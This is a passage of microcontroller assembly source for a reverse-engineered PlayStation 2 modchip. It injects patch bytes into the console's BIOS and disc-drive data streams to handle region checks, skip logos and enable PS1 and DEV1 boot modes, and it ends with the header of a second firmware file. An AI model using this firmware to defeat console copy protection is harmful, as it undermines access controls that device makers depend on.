CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;; h2o dev1 ported ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$73 mov VAR_DC1,w clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;---------------------------------------------------------- ;XCDVDMAN routine 2 ??? ps1/dev1 XCDVDMAN ?? ;---------------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_2 page $0000 call SET_INTRPT POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w POST_PATCH_4_MODE_START_L1_2 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2_2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3_2 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4_2 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2_2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4_2 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3_2 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2_2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1_2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;-------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_L5_2 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4_2 POST_PATCH_4_MODE_START_P2_2 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 Label_0184 snb IO_BIOS_OE jmp Label_0184 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0185 sb IO_BIOS_OE jmp Label_0185 Label_0186 snb IO_BIOS_OE jmp Label_0186 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0187 sb IO_BIOS_OE jmp Label_0187 Label_0188 snb IO_BIOS_OE jmp Label_0188 PS1_DETECTED_REBOOT_JMP11to17_ALL ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w jmp POST_PATCH_4_MODE_START2_2 org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20;15 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC clr fsr ;; test remove. todo mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w clr fsr ;; test remove. todo setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo page4 sx28 ;; weird broken oe wait not even called. wait needed for flow ?? ;; test remove. todo ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_PA ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_PA ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz ;; changed from h2o PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; originally Label_0183 two different call in sx48 vs sx28 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; mov w,#$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 ;; h2o differs. ported snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$26;1b mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37;3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27;1c ;; check if no run v12 ps1 mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	171,428	randomWIPsince-reverse/v0messiah2port/ps2bootonlylanding-skip-logofixonly-pdv-osdsys-logo-testlogofix.s	;****************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;**************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - 